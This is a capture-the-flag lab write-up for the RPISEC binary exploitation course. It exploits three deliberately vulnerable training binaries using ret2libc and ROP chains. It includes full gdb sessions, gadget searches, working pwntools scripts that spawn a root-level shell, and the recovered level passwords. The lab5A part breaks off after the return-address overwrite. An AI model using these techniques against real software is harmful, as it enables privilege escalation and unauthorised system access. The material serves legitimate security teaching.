RPISEC/MBE: writeup lab05 (DEP and ROP)

In the last writeup we used different format string vulnerabilites in order to exploit the provided binaries. This writeup continues with lab05 which introduces DEP and ROP.

As usual there are three levels ranging from C to A:
–> lab5C
–> lab5B
–> lab5A


lab5C

We start by connecting to the first level of lab05 using the credentials lab5C with the password lab05start:

gameadmin@warzone:~$ sudo ssh lab5C@localhost
[sudo] password for gameadmin:
lab5C@localhost's password: (lab05start)
        ____________________.___  _____________________________
        \______   \______   \   |/   _____/\_   _____/\_   ___ \
         |       _/|     ___/   |\_____  \  |    __)_ /    \  \/
         |    |   \|    |   |   |/        \ |        \\     \____
         |____|_  /|____|   |___/_______  //_______  / \______  /
                \/                      \/         \/         \/
 __      __  _____ ____________________________    _______  ___________
/  \    /  \/  _  \\______   \____    /\_____  \   \      \ \_   _____/
\   \/\/   /  /_\  \|       _/ /     /  /   |   \  /   |   \ |    __)_
 \        /    |    \    |   \/     /_ /    |    \/    |    \|        \
  \__/\  /\____|__  /____|_  /_______ \\_______  /\____|__  /_______  /
       \/         \/       \/        \/        \/         \/        \/

        --------------------------------------------------------

                       Challenges are in /levels
                   Passwords are in /home/lab*/.pass
            You can create files or work directories in /tmp

         -----------------[ contact@rpis.ec ]-----------------

Last login: Mon Jan 22 05:48:49 2018 from localhost

Let’s have a look at the source code:

lab5C@warzone:/levels/lab05$ cat lab5C.c
#include <stdlib.h>
#include <stdio.h>

/* gcc -fno-stack-protector -o lab5C lab5C.c */

char global_str[128];

/* reads a string, copies it to a global */
void copytoglobal()
{
    char buffer[128] = {0};
    gets(buffer);
    memcpy(global_str, buffer, 128);
}

int main()
{
    char buffer[128] = {0};

    printf("I included libc for you...\n"\
           "Can you ROP to system()?\n");

    copytoglobal();

    return EXIT_SUCCESS;
}

What does the program do?
–> In the main function printf is called (line 20-21).
–> The function copytoglobal defines a local char array sized 128 bytes (buffer, line 11).
–> This buffer is passed as an argument to a call to gets (line 12).

Where is the vulnerability within the program?

This is quite obvious: the function gets reads from stdin into buffer until a newline character is read or the end-of-file is reached. There is no boundary checking and we can thus exploit this vulnerability to overwrite all values following the buffer on the stack.

The 4th line of the source code already contains the gcc command which has been used to compile the binary. The option -fno-stack-protector tells gdb not to embed a stack canary.

We can also use checksec to list all employed security mechanisms:

lab5C@warzone:/levels/lab05$ checksec lab5C
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY FORTIFIED FORTIFY-able  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      0               2       lab5C

The difference to the last labs is that NX (No-Execute) or also called Data Executive Protection (DEP) is enabled now. This means that memory regions like that stack are marked as non-executable. If we try to execute an instructions stored on the stack the program will raise a segmentation fault. Thus we cannot simply store a shellcode in the buffer and overwrite the return address with the address of the buffer.

The instructions of the binary itself, which are stored in the .text section, cannot be marked as non-executable since these instructions are supposed to be executed. We can leverage this fact using a technique called Return Oriented Programming (ROP). The idea of ROP is to recycle instructions which are already present within the binary itself or within shared libraries used by the binary.

The expression Return Oriented Programming is based on the fact that single instructions, which are followed by a ret instruction, are used. These little code snippets are called ROP-gadgets. In order to carry out more complex tasks, multiple ROP-gadgets can be chained together forming a so called ROP-chain.

If we would like to execute the following instructions:

xor eax, eax
pop eax
pop edx

We would search for these gadgets within the available code:

0x00402a36: xor eax, eax
0x00402a38: ret

0x00403b46: pop eax
0x00403b47: ret

0x004087d2: pop edx
0x004087d3: ret

In order to execute these gadgets we place the following addresses on the stack (the first one overwriting the initial return address):

[  0x00402a36  ]    <-- overwritten return address (1st gadget)
[  0x00403b46  ]    <-- 2nd gadget
[  0x004087d2  ]    <-- 3rd gadget

When the ret instruction of the function with the buffer overflow vulnerability is reached it pops the first address from the stack (0x00402a36) and proceeds the code execution at this address: xor eax, eax. After that a ret instruction follows, letting the code executing proceed at the next gadget and so forth. This way we can build together multiple gadgets to a whole ROP-chain.

A special use case of ROP is a technique called return to libc (ret2libc). Since most applications use the standard c-library libc we can use ROP to return to functions within the libc. One function we may want to call is system.

As we have already seen in the last labs, function arguments are passed on the stack (on a 64bit system function arguments are passed within registers). Thus the stack for this level has to look like this in order to call system("bin/sh"):

[    address system   ]    <-- overwritten return address
[        JUNK         ]    <-- 4 bytes junk, this is where the code execution proceeds after system
[  address "/bin/sh"  ]    <-- first and only argument to system

At first we calculate the offset to the return address using a pattern:

gdb-peda$ pattern create 200 /tmp/pat200
Writing pattern of 200 chars to filename "/tmp/pat200"
gdb-peda$ r < /tmp/pat200
Starting program: /levels/lab05/lab5C < /tmp/pat200
I included libc for you...
Can you ROP to system()?

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x20 (' ')
EBX: 0x41416d41 ('AmAA')
ECX: 0x0
EDX: 0x804a060 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA")
ESI: 0x6e414152 ('RAAn')
EDI: 0x41534141 ('AASA')
EBP: 0x41416f41 ('AoAA')
ESP: 0xbffff680 ("AAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
EIP: 0x70414154 ('TAAp')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x70414154
[------------------------------------stack-------------------------------------]
0000| 0xbffff680 ("AAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0004| 0xbffff684 ("AqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0008| 0xbffff688 ("VAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0012| 0xbffff68c ("AAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0016| 0xbffff690 ("AsAAXAAtAAYAAuAAZAAvAAwA")
0020| 0xbffff694 ("XAAtAAYAAuAAZAAvAAwA")
0024| 0xbffff698 ("AAYAAuAAZAAvAAwA")
0028| 0xbffff69c ("AuAAZAAvAAwA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x70414154 in ?? ()
gdb-peda$ pattern offset $eip
1883324756 found at offset: 156
gdb-peda$

The program raised a segmentation fault when trying to access the address 0x70414154 which is part of the pattern gdb-peda created for us. The offset can be calculated automatically using the command pattern offset $eip: 156.

Now we have to get the address of the function system as well as the string "/bin/sh". Luckily the libc contains this string:

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e63190 <__libc_system>
gdb-peda$ searchmem "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xb7f83a24 ("/bin/sh")

The only thing left do is to construct the final input:

[  ... 156 bytes ... ]    <-- fill buffer until return address
[     0xb7e63190     ]    <-- address of system (overwritten return address)
[       JUNK         ]    <-- 4 bytes junk
[     0xb7f83a24     ]    <-- address of "/bin/sh" (first and only argument to system)

And write a little python script to run the program with this input:

lab5C@warzone:/levels/lab05$ cat /tmp/exploit_lab5C.py
from pwn import *

addr_system = 0xb7e63190
addr_binsh  = 0xb7f83a24

p = process('./lab5C')

print(p.recv(100))

expl  = 'X' * 156
expl += p32(addr_system)
expl += "JUNK"
expl += p32(addr_binsh)

p.sendline(expl)
p.interactive()

Running the script:

lab5C@warzone:/levels/lab05$ python /tmp/exploit_lab5C.py
[+] Starting program './lab5C': Done
I included libc for you...
Can you ROP to system()?

[*] Switching to interactive mode
$ whoami
lab5B
$ cat /home/lab5B/.pass
s0m3tim3s_r3t2libC_1s_3n0ugh

Done 🙂 The password for the next level is s0m3tim3s_r3t2libC_1s_3n0ugh.


lab5B

We connecting to the next level using the previously gained credentials lab5B with the password s0m3tim3s_r3t2libC_1s_3n0ugh:

gameadmin@warzone:~$ sudo ssh lab5B@localhost
lab5B@localhost's password: (s0m3tim3s_r3t2libC_1s_3n0ugh)
        ____________________.___  _____________________________
        \______   \______   \   |/   _____/\_   _____/\_   ___ \
         |       _/|     ___/   |\_____  \  |    __)_ /    \  \/
         |    |   \|    |   |   |/        \ |        \\     \____
         |____|_  /|____|   |___/_______  //_______  / \______  /
                \/                      \/         \/         \/
 __      __  _____ ____________________________    _______  ___________
/  \    /  \/  _  \\______   \____    /\_____  \   \      \ \_   _____/
\   \/\/   /  /_\  \|       _/ /     /  /   |   \  /   |   \ |    __)_
 \        /    |    \    |   \/     /_ /    |    \/    |    \|        \
  \__/\  /\____|__  /____|_  /_______ \\_______  /\____|__  /_______  /
       \/         \/       \/        \/        \/         \/        \/

        --------------------------------------------------------

                       Challenges are in /levels
                   Passwords are in /home/lab*/.pass
            You can create files or work directories in /tmp

         -----------------[ contact@rpis.ec ]-----------------
Last login: Mon Jan 22 16:04:02 2018 from localhost

Let's have a look at the source code:

lab5B@warzone:/levels/lab05$ cat lab5B.c
#include <stdlib.h>
#include <stdio.h>

/* gcc -fno-stack-protector --static -o lab5B lab5B.c */

int main()
{

    char buffer[128] = {0};

    printf("Insert ROP chain here:\n");
    gets(buffer);

    return EXIT_SUCCESS;
}

The source code is even smaller than the source code from the last level. There is just simple buffer overflow vulnerability, because gets reads into buffer without any boundary checking.

More interesting are the gcc options used to compile the binary on line 4. We can use the buffer overflow to override the return address of the function main since there is no stack canary (option -fno-stack-protector). The second option set is --static, which creates a statically linked binary. In comparison to a dynamically linked binary all required libraries are included in the binary itself. This means that the binary does not need to load any libraries such as the libc. All necessary functions are already included. We can verify that these compiler options have been used with checksec, file and radare2:

lab5B@warzone:/levels/lab05$ checksec lab5B
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY FORTIFIED FORTIFY-able  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   Yes     2               40      lab5B

checksec tells us that no canary has been found (-fno-stack-protector) and NX is enabled. This is the default value for NX and has been disabled in the previous labs using the option -z execstack.

The type of linkage can be verified using file:

lab5B@warzone:/levels/lab05$ file lab5B
lab5B: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=09ad107d6eb5518c5781ccffdad51b39a28e237e, not stripped

The binary is linked statically.

Alternatively we can also use radare2 to get all this information:

[0x08048d2a]> iI
pic      false
canary   false
nx       true
crypto   false
va       true
bintype  elf
class    ELF32
lang     c
arch     x86
bits     32
machine  Intel 80386
os       linux
subsys   linux
endian   little
stripped false
static   true
linenum  true
lsyms    true
relocs   true
rpath    NONE
binsz    737496

The difference to the last level, where we could just return to libc, is that there is no libc here since all required functions are statically linked into the binary. Thus we have to use the available code snippets (gadgets) and create a ROP-chain.

As usual the first thing we need to do is to determine the offset to the return address we want to overwrite:

gdb-peda$ pattern create 200 /tmp/pattern_lab5B
Writing pattern of 200 chars to filename "/tmp/pattern_lab5B"
gdb-peda$ r < /tmp/pattern_lab5B
Starting program: /levels/lab05/lab5B < /tmp/pattern_lab5B
Insert ROP chain here:

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41416b41 ('AkAA')
ECX: 0xfbad2098
EDX: 0x80ec4e0 --> 0x0
ESI: 0x0
EDI: 0x6c414150 ('PAAl')
EBP: 0x41514141 ('AAQA')
ESP: 0xbffff730 ("RAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
EIP: 0x41416d41 ('AmAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41416d41
[------------------------------------stack-------------------------------------]
0000| 0xbffff730 ("RAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0004| 0xbffff734 ("AASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0008| 0xbffff738 ("AoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0012| 0xbffff73c ("TAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0016| 0xbffff740 ("AAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0020| 0xbffff744 ("AqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0024| 0xbffff748 ("VAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA")
0028| 0xbffff74c ("AAWAAsAAXAAtAAYAAuAAZAAvAAwA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41416d41 in ?? ()
gdb-peda$ pattern offset $eip
1094806849 found at offset: 140

Using the gdb-peda command pattern create we can easily create a pattern and run the program with that pattern. The offset to the return address can be calculated after the segmentation fault using the command pattern offset $eip: 140 byte.

The ROP-chain we are going to create should basically do the same as the shellcode we used in the previous labs: execute the syscall sys_execve passing "/bin/sh" as argument and thus spawning a shell.

So we are looking for the following instructions:

mov eax, 0x0b
mov ecx, 0x00
mov edx, 0x00
mov ebx, <address of "/bin/sh">
int 0x80

We start with the address of "/bin/sh". In the last level we have seen, that the libc usually contains this string. Unfortunately there is no libc here and the string is not part of the binary:

[0x08048d2a]> / /bin/sh
Searching 7 bytes from 0x08048000 to 0x080edf44: 2f 62 69 6e 2f 73 68
# 6 [0x8048000-0x80edf44]
hits: 0

Nevertheless we can just store the string in the buffer ourself. Thus we only need the address of the buffer. We can determine the address using gdb and setting a breakpoint before the call to gets:

gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x08048e44 <+0>:     push   ebp
   ...
   0x08048e76 <+50>:    mov    DWORD PTR [esp],eax
   0x08048e79 <+53>:    call   0x804f6a0 <gets>
   ...
   0x08048e89 <+69>:    ret
End of assembler dump.
gdb-peda$ b *main+53
Breakpoint 1 at 0x8048e79
gdb-peda$ r
Starting program: /levels/lab05/lab5B
Insert ROP chain here:
[----------------------------------registers-----------------------------------]
EAX: 0xbffff6a0 --> 0x0
EBX: 0xbffff6a0 --> 0x0
ECX: 0x80ec4d4 --> 0x0
EDX: 0x17
ESI: 0x0
EDI: 0xbffff720 --> 0x80481a8 (<_init>: push   ebx)
EBP: 0xbffff728 --> 0x8049610 (<__libc_csu_fini>:       push   ebx)
ESP: 0xbffff690 --> 0xbffff6a0 --> 0x0
EIP: 0x8048e79 (<main+53>:      call   0x804f6a0 <gets>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048e6d <main+41>: call   0x804f830 <puts>
   0x8048e72 <main+46>: lea    eax,[esp+0x10]
   0x8048e76 <main+50>: mov    DWORD PTR [esp],eax
=> 0x8048e79 <main+53>: call   0x804f6a0 <gets>
   0x8048e7e <main+58>: mov    eax,0x0
   0x8048e83 <main+63>: lea    esp,[ebp-0x8]
   0x8048e86 <main+66>: pop    ebx
   0x8048e87 <main+67>: pop    edi
Guessed arguments:
arg[0]: 0xbffff6a0 --> 0x0
[------------------------------------stack-------------------------------------]
0000| 0xbffff690 --> 0xbffff6a0 --> 0x0
0004| 0xbffff694 --> 0x0
0008| 0xbffff698 --> 0xca0000
0012| 0xbffff69c --> 0x1
0016| 0xbffff6a0 --> 0x0
0020| 0xbffff6a4 --> 0x0
0024| 0xbffff6a8 --> 0x0
0028| 0xbffff6ac --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048e79 in main ()

The argument on the stack is the address to the buffer: 0xbffff6a0.

Now we need to find gadgets which will carry out the instructions we want to execute. As always with x86-assembly there are plenty of ways to do things. The instructions we want to execute are basically mov instructions. Because it is not very likely that the binary contains the gadget mov ebx, 0xbffff6a0, it is more common to look for pop instructions. As we control what is on the stack, we can just place the value we want to be in ebx on the stack and than execute the gadget pop ebx.

So we start by looking for pop gadgets. With radare2 gadgets can be found using the command /R/ (the command should be put into double quotes):

[0x08048d2a]> "/R/ pop eax;ret"
  0x0804a0cf             58  pop eax
  0x0804a0d0           08f6  or dh, dh
  0x0804a0d2         c2df0f  ret 0xfdf

  0x0804be75   69f2ffff0fb6  imul esi, edx, 0xb60fffff
  0x0804be7b             58  pop eax
  0x0804be7c   0880fb380f84  or byte [eax - 0x7bf0c705], al
  0x0804be82             cf  iretd
  ...

  0x080e4c56             58  pop eax
  0x080e4c57             c3  ret
  ...

At 0x080e4c56 there is the gadget we are looking for to place a value in eax.

We proceed with ecx, edx and ebx:

[0x08048d2a]> "/R/ pop ecx;ret"
  ...
  0x080e55ad             59  pop ecx
  0x080e55ae             c3  ret
  ...

Our second gadget to set the value of ecx is located at 0x080e55ad.

[0x08048d2a]> "/R/ pop edx;ret"
  ...
  0x080817f6             5a  pop edx
  0x080817f7             c3  ret
  ...

The third gadget is located at 0x080817f6.

[0x08048d2a]> "/R/ pop ebx;ret"
  ...
  0x080bdeca           c418  les ebx, [eax]
  0x080bdecc             5b  pop ebx
  0x080bdecd             c3  ret
  ...

At the fourth gadget is located at 0x080bdecc.

The only instruction missing is the syscall int 0x80:

[0x08048d2a]> "/R/ int 0x80"
  ...
  0x0806f31b           6690  nop
  0x0806f31d           6690  nop
  0x0806f31f             90  nop
  0x0806f320           cd80  int 0x80
  0x0806f322             c3  ret
  ...

Our final gadget is located at 0x0806f320.

The following picture illustrates our ROP-chain:

Now we can create a python-script to run our exploit. I used the very comfortable module pwn (pwntools) to interact with the program:

lab5B@warzone:/levels/lab05$ cat /tmp/exploit_lab5B.py
from pwn import *
import sys

p = process("./lab5B")

_pop_eax = 0x080e4c56
_pop_ecx = 0x080e55ad
_pop_edx = 0x080817f6
_pop_ebx = 0x080bdecc
_int_80h = 0x0806f320

addr_binsh = 0xbffff6a0
addr_binsh -= int(sys.argv[1], 16)

print(p.recv(100))

expl = "/bin/sh\x00"
expl += "X" * 132
expl += p32(_pop_eax)
expl += p32(0x0b)
expl += p32(_pop_ecx)
expl += p32(0x00)
expl += p32(_pop_edx)
expl += p32(0x00)
expl += p32(_pop_ebx)
expl += p32(addr_binsh)
expl += p32(_int_80h)

p.sendline(expl)
p.interactive()

As usual I added an offset which can be set from command line when running the script since the stack addresses determined using gdb may vary a little bit:

lab5B@warzone:/levels/lab05$ python /tmp/exploit_lab5B.py 0x00
[+] Starting program './lab5B': Done
Insert ROP chain here:

[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
[*] Program './lab5B' stopped with exit code -11
[*] Got EOF while sending in interactive
lab5B@warzone:/levels/lab05$ python /tmp/exploit_lab5B.py 0x10

...

lab5B@warzone:/levels/lab05$ python /tmp/exploit_lab5B.py 0x50
[+] Starting program './lab5B': Done
Insert ROP chain here:

[*] Switching to interactive mode
$ whoami
lab5A
$ cat /home/lab5A/.pass
th4ts_th3_r0p_i_lik3_2_s33

Done! With the offset 0x50 our exploit worked. The password is th4ts_th3_r0p_i_lik3_2_s33.


lab5A

We connecting to the next level using the previously gained credentials lab5A with the password th4ts_th3_r0p_i_lik3_2_s33:

gameadmin@warzone:~$ sudo ssh lab5A@localhost
lab5A@localhost's password: (th4ts_th3_r0p_i_lik3_2_s33)
        ____________________.___  _____________________________
        \______   \______   \   |/   _____/\_   _____/\_   ___ \
         |       _/|     ___/   |\_____  \  |    __)_ /    \  \/
         |    |   \|    |   |   |/        \ |        \\     \____
         |____|_  /|____|   |___/_______  //_______  / \______  /
                \/                      \/         \/         \/
 __      __  _____ ____________________________    _______  ___________
/  \    /  \/  _  \\______   \____    /\_____  \   \      \ \_   _____/
\   \/\/   /  /_\  \|       _/ /     /  /   |   \  /   |   \ |    __)_
 \        /    |    \    |   \/     /_ /    |    \/    |    \|        \
  \__/\  /\____|__  /____|_  /_______ \\_______  /\____|__  /_______  /
       \/         \/       \/        \/        \/         \/        \/

        --------------------------------------------------------

                       Challenges are in /levels
                   Passwords are in /home/lab*/.pass
            You can create files or work directories in /tmp

         -----------------[ contact@rpis.ec ]-----------------
Last login: Mon Jan 22 21:48:01 2018 from localhost

As usual we start by analysing the source code:

lab5A@warzone:/levels/lab05$ cat lab5A.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "utils.h"

#define STORAGE_SIZE 100

/* gcc --static -o lab5A lab5A.c */

/* get a number from the user and store it */
int store_number(unsigned int * data)
{
    unsigned int input = 0;
    int index = 0;

    /* get number to store */
    printf(" Number: ");
    input = get_unum();

    /* get index to store at */
    printf(" Index: ");
    index = (int)get_unum();

    /* make sure the slot is not reserved */
    if(index % 3 == 0 || index > STORAGE_SIZE || (input >> 24) == 0xb7)
    {
        printf(" *** ERROR! ***\n");
        printf("   This index is reserved for doom!\n");
        printf(" *** ERROR! ***\n");

        return 1;
    }

    /* save the number to data storage */
    data[index] = input;

    return 0;
}

/* returns the contents of a specified storage index */
int read_number(unsigned int * data)
{
    int index = 0;

    /* get index to read from */
    printf(" Index: ");
    index = (int)get_unum();

    printf(" Number at data[%d] is %u\n", index, data[index]);

    return 0;
}

int main(int argc, char * argv[], char * envp[])
{
    int res = 0;
    char cmd[20] = {0};
    unsigned int data[STORAGE_SIZE] = {0};

    /* doom doesn't like enviroment variables */
    clear_argv(argv);
    clear_envp(envp);

    printf("----------------------------------------------------\n"\
           "  Welcome to doom's crappy number storage service!  \n"\
           "          Version 2.0 - With more security!         \n"\
           "----------------------------------------------------\n"\
           " Commands:                                          \n"\
           "    store - store a number into the data storage    \n"\
           "    read  - read a number from the data storage     \n"\
           "    quit  - exit the program                        \n"\
           "----------------------------------------------------\n"\
           "   doom has reserved some storage for himself :>    \n"\
           "----------------------------------------------------\n"\
           "\n");


    /* command handler loop */
    while(1)
    {
        /* setup for this loop iteration */
        printf("Input command: ");
        res = 1;

        /* read user input, trim newline */
        fgets(cmd, sizeof(cmd), stdin);
        cmd[strlen(cmd)-1] = '\0';

        /* select specified user command */
        if(!strncmp(cmd, "store", 5))
            res = store_number(data);
        else if(!strncmp(cmd, "read", 4))
            res = read_number(data);
        else if(!strncmp(cmd, "quit", 4))
            break;

        /* print the result of our command */
        if(res)
            printf(" Failed to do %s command\n", cmd);
        else
            printf(" Completed %s command successfully\n", cmd);

        memset(cmd, 0, sizeof(cmd));
    }

    return EXIT_SUCCESS;
}

You may have noticed that the source code is quite similar to the source code of lab3A.

What does the program do?
--> Within the main function a 400 byte unsigned integer array called data is created (line 58).
--> We can trigger the function store_number with the command store (line 90-91).
--> The function reads a number as an unsigned integer and an index which is cast to an integer (line 17-18, 21-22).
--> On line 25 the prerequisites for the index and the number are examined:
    - index modulo 3 should not equal 0.
    - index should not be greater than STORAGE_SIZE (100).
    - the most significant byte of number should not be 0xb7.
--> If these conditions are met, the entered number is stored in data[index]

What are the differences to the program of lab3A?
--> The binary has not been compiled with the -z execstack option and thus we cannot store and execute shellcode on the stack (we will use ROP).
--> In lab3A the index was an unsigned integer and was not cast to an integer.
--> In lab3A there was no check if index is greater than STORAGE_SIZE.

What does that mean?
--> In lab3A we could just overwrite the return address of the function main because we could write beyond the memory for data.
--> This time we can enter a negative index and thus write before the memory for data.
--> That means that we cannot overwrite the return address of main, but we can overwrite the return address of store_number.

The following picture illustrates the stack layout:

At first we determine the location of the return address of the function store_number using gdb:

lab5A@warzone:/levels/lab05$ gdb lab5A
Reading symbols from lab5A...(no debugging symbols found)...done.
gdb-peda$ disassemble store_number
Dump of assembler code for function store_number:
   0x08048eae <+0>:     push   ebp
   0x08048eaf <+1>:     mov    ebp,esp
   0x08048eb1 <+3>:     sub    esp,0x28
   ...
   0x08048f62 <+180>:   leave
   0x08048f63 <+181>:   ret
End of assembler dump.
gdb-peda$ b *store_number+181
Breakpoint 1 at 0x8048f63
gdb-peda$ r
Starting program: /levels/lab05/lab5A
----------------------------------------------------
  Welcome to doom's crappy number storage service!
          Version 2.0 - With more security!
----------------------------------------------------
 Commands:
    store - store a number into the data storage
    read  - read a number from the data storage
    quit  - exit the program
----------------------------------------------------
   doom has reserved some storage for himself :>
----------------------------------------------------

Input command: store
 Number: 1
 Index: 1
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xbffff568 --> 0x0
ECX: 0x1
EDX: 0xbffff56c --> 0x1
ESI: 0x0
EDI: 0xbffff6f8 ("store")
EBP: 0xbffff728 --> 0x8049990 (<__libc_csu_fini>:       push   ebx)
ESP: 0xbffff53c --> 0x804912e (<main+378>:      mov    DWORD PTR [esp+0x24],eax)
EIP: 0x8048f63 (<store_number+181>:     ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048f5b <store_number+173>:        mov    DWORD PTR [edx],eax
   0x8048f5d <store_number+175>:        mov    eax,0x0
   0x8048f62 <store_number+180>:        leave
=> 0x8048f63 <store_number+181>:        ret
   0x8048f64 <read_number>:     push   ebp
   0x8048f65 <read_number+1>:   mov    ebp,esp
   0x8048f67 <read_number+3>:   sub    esp,0x28
   0x8048f6a <read_number+6>:   mov    DWORD PTR [ebp-0xc],0x0
[------------------------------------stack-------------------------------------]
0000| 0xbffff53c --> 0x804912e (<main+378>:     mov    DWORD PTR [esp+0x24],eax)
0004| 0xbffff540 --> 0xbffff568 --> 0x0
0008| 0xbffff544 --> 0x80bfa48 ("store")
0012| 0xbffff548 --> 0x5
0016| 0xbffff54c --> 0x0
0020| 0xbffff550 --> 0x0
0024| 0xbffff554 --> 0x0
0028| 0xbffff558 --> 0xbffff814 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048f63 in store_number ()

I just set a breakpoint on the ret instruction of store_number, started the program an entered some numbers. When the breakpoint is hit, we can examine the return address is on top of the stack. The address is located at 0xbffff53c.

Now we also need the address of the buffer data:

gdb-peda$ disassemble main
Dump of assembler code for function main:
   ...
   0x08049126 <+370>:   mov    DWORD PTR [esp],eax
   0x08049129 <+373>:   call   0x8048eae <store_number>
   ...
End of assembler dump.
gdb-peda$ b *main+373
Breakpoint 2 at 0x8049129
gdb-peda$ r
Starting program: /levels/lab05/lab5A
----------------------------------------------------
  Welcome to doom's crappy number storage service!
          Version 2.0 - With more security!
----------------------------------------------------
 Commands:
    store - store a number into the data storage
    read  - read a number from the data storage
    quit  - exit the program
----------------------------------------------------
   doom has reserved some storage for himself :>
----------------------------------------------------

Input command: store
[----------------------------------registers-----------------------------------]
EAX: 0xbffff568 --> 0x0
EBX: 0xbffff568 --> 0x0
ECX: 0x80bfa4c --> 0x65720065 ('e')
EDX: 0x72 ('r')
ESI: 0x0
EDI: 0xbffff6f8 ("store")
EBP: 0xbffff728 --> 0x8049990 (<__libc_csu_fini>:       push   ebx)
ESP: 0xbffff540 --> 0xbffff568 --> 0x0
EIP: 0x8049129 (<main+373>:     call   0x8048eae <store_number>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049120 <main+364>:        jne    0x8049134 <main+384>
   0x8049122 <main+366>:        lea    eax,[esp+0x28]
   0x8049126 <main+370>:        mov    DWORD PTR [esp],eax
=> 0x8049129 <main+373>:        call   0x8048eae <store_number>
   0x804912e <main+378>:        mov    DWORD PTR [esp+0x24],eax
   0x8049132 <main+382>:        jmp    0x80491a4 <main+496>
   0x8049134 <main+384>:        mov    DWORD PTR [esp+0x8],0x4
   0x804913c <main+392>:        mov    DWORD PTR [esp+0x4],0x80bfa4e
Guessed arguments:
arg[0]: 0xbffff568 --> 0x0
[------------------------------------stack-------------------------------------]
0000| 0xbffff540 --> 0xbffff568 --> 0x0
0004| 0xbffff544 --> 0x80bfa48 ("store")
0008| 0xbffff548 --> 0x5
0012| 0xbffff54c --> 0x0
0016| 0xbffff550 --> 0x0
0020| 0xbffff554 --> 0x0
0024| 0xbffff558 --> 0xbffff814 --> 0x0
0028| 0xbffff55c --> 0xbffff7b8 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x08049129 in main ()

As data is passed as an argument to store_number we can set a breakpoint right before the call and examine the stack. data is located at 0xbffff568.

Now we can calculate the offset:

lab5A@warzone:/levels/lab05$ python -c 'print(0xbffff53c-0xbffff568)'
-44

The offset of the return address of the function store_number from the buffer data is -44. Thus the index we need to use in order to overwrite the return address is -44 / 4 = -11.

Let's quickly verify that:

gdb-peda$ r
Starting program: /levels/lab05/lab5A
----------------------------------------------------
  Welcome to doom's crappy number storage service!
          Version 2.0 - With more security!
----------------------------------------------------
 Commands:
    store - store a number into the data storage
    read  - read a number from the data storage
    quit  - exit the program
----------------------------------------------------
   doom has reserved some storage for himself :>
----------------------------------------------------

Input command: store
 Number: 1094795585
 Index: -11

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xbffff568 --> 0x0
ECX: 0xfffffffe
EDX: 0xbffff53c ("AAAAh\365\377\277H\372\v\b\005")
ESI: 0x0
EDI: 0xbffff6f8 ("store")
EBP: 0xbffff728 --> 0x8049990 (<__libc_csu_fini>:       push   ebx)
ESP: 0xbffff540 --> 0xbffff568 --> 0x0
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xbffff540 --> 0xbffff568 --> 0x0
0004| 0xbffff544 --> 0x80bfa48 ("store")
0008| 0xbffff548 --> 0x5
0012| 0xbffff54c --> 0x0
0016| 0xbffff550 --> 0x0
0020| 0xbffff554 --> 0x0
0024| 0xbffff558 --> 0xbffff814 --> 0x0
